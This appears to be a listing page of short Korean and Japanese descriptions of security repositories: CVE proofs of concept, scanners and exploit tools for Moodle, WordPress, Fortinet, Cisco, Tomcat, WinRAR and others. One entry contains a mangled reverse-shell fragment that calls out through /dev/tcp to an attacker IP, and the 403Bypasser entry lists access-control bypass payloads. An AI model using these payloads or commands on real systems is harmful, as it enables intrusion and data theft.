CVE-2021-21809

CVE-2021-21809 POC CVE 세부 정보: Moodle 3.10의 기본 레거시 맞춤법 검사기 플러그인에 명령 실행 취약점이 존재합니다. 특별히 조작된 일련의 HTTP 요청으로 명령 실행이 가능합니다. 공격자는 이 취약점을 악용하기 위해 관리자 권한이 있어야 합니다. 아래 동영상에서는 Metasploit을 사용하지 않고 이 취약점을 악용하여 Golden Eye 1 OSCP Lab에 접근하는 방법을 보여줍니다. GoldenEye 1 확인: https://www.vulnhub.com/entry/goldeneye-1,240...

CVE-2025-30208

CVE-2025-30208 탐지 도구 취약점 분석 Vite 임의 파일 읽기 취약점 분석 재현 CVE-2025-30208 소개 이 도구는 대상 시스템에 CVE-2025-30208 취약점이 존재하는지 탐지하는 데 사용됩니다. 이 취약점은 공격자가 특정 경로를 통해 서버의 민감한 파일예: /etc/passwd 또는 C:\windows\win.ini을 읽을 수 있게 합니다. 도구는 단일 URL 탐지와 일괄 탐지를 지원하며, 선택적으로 HTTP/HTTPS 프록시를 사용할 수 있습니다. 여기서 ?raw??와 ?import?raw??...

Breacher

Breacher 관리자 로그인 페이지 및 EAR 취약점을 찾는 스크립트입니다. 기능 요청 시 멀티스레딩 큰 경로 목록 482개 경로 php, asp 및 html 확장자 지원 잠재적 EAR 취약점 확인 robots.txt 확인 사용자 정의 경로 지원 사용법 php 확장자를 가진 모든 경로 확인 python breacher -u example.com --type php 스레드를 사용하여 php 확장자를 가진 모든 경로 확인 python breacher -u example.com --type php --fast 스레드 없이 모든 경...

CVE-2021-22053

CVE-2021-22053 CVE-2021-22053: Spring Cloud Netflix Hystrix Dashboard 템플릿 해석 취약점 설명 spring-cloud-netflix-hystrix-dashboard와 spring-boot-starter-thymeleaf를 모두 사용하는 애플리케이션은 뷰 템플릿 해석 중 요청 URI 경로에 제출된 코드를 실행할 수 있는 방법을 노출합니다. /hystrix/monitor;user-provided data로 요청이 이루어지면 hystrix/monitor 뒤에 오는 경로 요소가...

CVE-2019-8942

CVE-2019-8942 및 CVE-2019-8943: WordPress RCE author 권한 개요 CVE-2019-8942 는 LFI 오류와 File Upload 기능을 결합하여 author 권한으로 WordPress 웹 서버에 RCE를 수행하는 취약점입니다. 영향받는 WordPress 버전은 4.9.9 이전 및 5.x에서 5.0.1 이전까지이며, Post Meta의 wpattachedfile 값이 .jpg?file.php와 같은 임의의 문자열로 변경될 수 있어 원격 코드 실행이 가능합니다. author 권한을 가진 공격...

CVE-2018-13379

🛡️ CVE-2018-13379 - Fortinet SSL VPN 취약점 🔍 개요 CVE-2018-13379는 Fortinet FortiOS SSL VPN의 심각한 경로 탐색path traversal 취약점입니다. 공격자가 VPN 웹 세션 파일을 다운로드 하고 민감한 정보를 추출할 수 있습니다. 영향: 정보 노출 사용자 이름, 세션 토큰 CVSSv3: 8.6 높음 공격 방법: 원격, 인증 불필요 💻 취약한 버전 FortiOS 5.4.6 – 5.4.12 FortiOS 5.6.3 – 5.6.7 FortiOS 6.0.0 – 6.0.4...

CVE-2019-5624

CVE-2019-5624 Metasploit의 CVE-2019-5624 취약점Rubyzip의 안전하지 않은 ZIP 처리로 인한 RCE에 대한 개념 증명 소개 2019년 2월, Rubyzip 라이브러리에서 새로운 취약점을 발견했습니다. 이 취약점으로 인해 공격자는 안전하지 않은 ZIP 처리를 Zip Slip 악용하여 원격 코드 실행이 가능합니다. 이 취약점은 모든 Metasploit 버전 &0 2&0 0/dev/tcp/172.16.13.144/4445; bash &196 2&196" 경로 탐색payload이 포함된 ZIP 아카이...

CVE-Arsenal-Lab

TomcatScanner CVE-2025-24813용 고급 탐지 및 익스플로잇 도구 TomcatScanner는 Apache Tomcat 서버에서 CVE-2025-24813 취약점을 탐지하고 익스플로잇하기 위해 설계된 종합 보안 도구입니다. 이 취약점은 'file.Name' 매개변수의 경로 동등성path equivalence 문제로 인해 원격 코드 실행RCE으로 이어질 수 있습니다. 목차 기능 설치 사용법 기본 스캔 고급 옵션 익스플로잇 모드 예제 워드리스트 만들기 출력 해석 CVE-2025-24813 설명 법적 고지 기여 라이...

evilarc

evilarc 目的 evilarc を使用すると、埋め込まれたパスにディレクトリトラバーサル文字を含むファイルを格納した zip ファイルを作成できます。ほとんどの商用 zip プログラム（winzip など）は、埋め込まれたファイルのパスにディレクトリトラバーサル文字が含まれる zip ファイルの解凍を防ぎます。しかし、多くのソフトウェア開発ライブラリには、このような保護メカニズムは実装されていません（例: Java、PHP など）。プログラムやライブラリがディレクトリトラバーサル文字を防いでいない場合、evilarc を使用して zip...

prefetch-hash-cracker

プリフェッチハッシュクラッカー 動機 Windows マシンのフォレンジック分析中に、削除されたプリフェッチファイルの名前が見つかることがあります。その内容は復元できないかもしれませんが、ファイル名自体が、そのプリフェッチファイルが作成された実行ファイルのフルパスを見つけるのに十分な場合が多いです。 ツールの使い方 以下のフィールドを指定する必要があります： 実行可能ファイル名 拡張子を含めます。プリフェッチファイル名に埋め込まれます（thisが適用されない限り）。 プリフェッチハッシュ プリフェッチファイル名の末尾、.pf 拡張子の直前にある8桁の16進数。 ハッシュ関数 ボディファイ...

Cisco-ASA-FTD-Web-Services-Traversal

Cisco Adaptive Security Appliance Software 및 Firepower Threat Defense Software 웹 서비스 경로 탐색 취약점 CVE-2020-3452 사용법: CVE-2020-3452.py https://target 취약점 설명: Cisco Adaptive Security Appliance ASA Software 및 Cisco Firepower Threat Defense FTD Software의 웹 서비스 인터페이스에서 취약점으로 인해 인증되지 않은 원격 공격자가 디렉토리 탐색 공격...

BurpSuite_403Bypasser

403Bypasser 403 제한 디렉터리를 우회하는 BurpSuite 확장 프로그램입니다. PassiveScan기본 활성화을 사용하면 각 403 요청이 이 확장 프로그램에 의해 자동으로 스캔되므로 BurpSuite에 추가하기만 하면 됩니다. 페이로드: $1: 호스트명 $2: 경로 $1/$2 $1/%2e/$2 $1/$2/. $1//$2// $1/./$2/./ $1/$2anything -H "X-Original-URL: /$2" $1/$2 -H "X-Custom-IP-Authorization: 127.0.0.1" $1 -H...

CVE-2025-8088

CVE-2025-8088 WinRAR: WinRAR 경로 탐색을 통한 임의 코드 실행 CVE-2025-8088 CVE-2025-8088 PoC - 은폐형 익스플로잇 - README 영어 미국 CVE-2025-8088 PoC - 은폐형 익스플로잇 - README 포르투갈어 브라질 CVE-2025-8088 PoC - 은폐형 익스플로잇 - README 스페인어 에스파냐 CVE-2025-8088 PoC – 입력 재정의 - README 러시아어 RU Exploitcve20258088.ps1 python poc.py 📋 필수 인수...

CLEANSTART-2026-AM86994 Applications using Spring Framework's FreeMarker integration may be vulnerable to a path traversal attack when a controller returns a view name derived from untrusted input and FreeMarker is config...

Security vulnerability affects the apache-nifi-registry package. Applications using Spring Framework's FreeMarker integration may be vulnerable to a path traversal attack when a controller returns a view name derived from untrusted input and FreeMarker is configured to resolve templates through...

wphunter

WPHunter 도구 ☣ WPHunter WordPress 취약점 스캐너 이 도구를 사용하여 WordPress 웹사이트의 취약점을 찾아 보안을 확인할 수 있습니다. 7천5백만 개 이상의 웹사이트가 WordPress로 운영됩니다. 이는 현재 웹의 26%를 차지합니다. 놀랍게도 수천 개의 WP 사이트가 공격에 취약하며 매일 해킹당하고 있습니다. 모든 데이터를 잃을 수도 있고, 수천 달러의 비용이 들 수 있으며, 더 심각하게는 공격자가 WordPress를 이용해 방문자를 표적으로 삼을 수 있습니다. 봇은 자동으로 웹을 스캔하여 취약...

CVE-2017-1000475

CVE-2017-1000475: Freesshd 따옴표 없는 서비스 경로 개념 증명 Windows 10에 freeSSHd 1.3.1이 기본적으로 설치되어 있으며, 시스템 서비스로 실행되는 옵션이 활성화되어 있습니다. 따옴표 없는 서비스 경로Unquoted Service Path를 확인하는 명령입니다. 서비스는 기본적으로 따옴표로 묶여 있지 않습니다. 프로세스는 기본적으로 SYSTEM 권한으로 실행됩니다. MSFVenom으로 리버스 셸Reverse Shell을 생성하여 공격자에 대한 연결을 확인하고, 공격자...

CVE-2006-2842

배지 라이선스 MIT 설치 cve-2006-2842를 npm으로 설치 npm install cve-2006-2842 -g 사용법 단일 URL 예시 cve-2006-2842 -u http://example.com 사용법 URL 목록 예시 cve-2006-2842 -l urls.txt -o out.txt 스크린샷 도움말 메뉴 모든 항목 보기 👋 Hey karthithehacker .-----------------------------. | Tool : CVE-2006-2842 💉 | | Author :...

CVE-2024-4956

CVE-2024-4956 - 인증되지 않은 경로 탐색 취약점 Nexus Repository Manager 3 Nexus Repository Manager는 개발에 필요한 아티팩트를 정리, 저장, 배포하는 저장소 관리자입니다. Nexus Repository 3 버전 3.68.1 미만에서 경로 탐색 취약점이 발견되었습니다. 이 취약점은 공격자가 인증 없이 Nexus Repository 애플리케이션 범위 밖의 시스템 파일을 다운로드할 수 있는 URL을 조작할 수 있게 합니다. 이는 민감한 시스템 파일을 노출시키고 잠재적으로 Nexu...

cve-2023-20198-poc-cisco

CVE-2023-20198-poc CVE-2023-20198은 Cisco IOS XE 소프트웨어 Web UI 기능의 심각한 취약점으로, 인증되지 않은 원격 공격자가 영향을 받는 시스템에 권한 수준 15의 계정을 생성하여 장치를 완전히 제어할 수 있게 합니다. 해당 취약점은 주로 Web UI 기능의 경로 분석 처리 부적절로 인해 발생합니다. 공격자는 정교하게 조작된 HTTP 요청을 통해 이중 URL 인코딩을 사용하여 Nginx의 경로 필터링 메커니즘을 우회하고, /webuiwsmahttp와 같은 보호된 내부 엔드포인트에 직접...

WPintel

기능 • 설치 • 사용법 • 라이선스 • 다운로드 동영상 시연 기능 WordPress 버전 감지 버전 취약점 감지 사용자 열거 테마 감지 플러그인 감지 전체 경로 공개 확인 사용자 등록 상태 확인 설치 Google Chrome 사용자는 Chrome 웹 스토어에서 WPintel을 다운로드할 수 있습니다. 사용 방법? 아이콘 색상 이해하기 WPintel 사용법은 매우 직관적입니다. WPintel을 추가한 후, WPintel 아이콘의 색상으로 사이트가 WordPress를 사용하는지 확인할 수 있습니다. 스캔 메뉴 아이콘 색상이...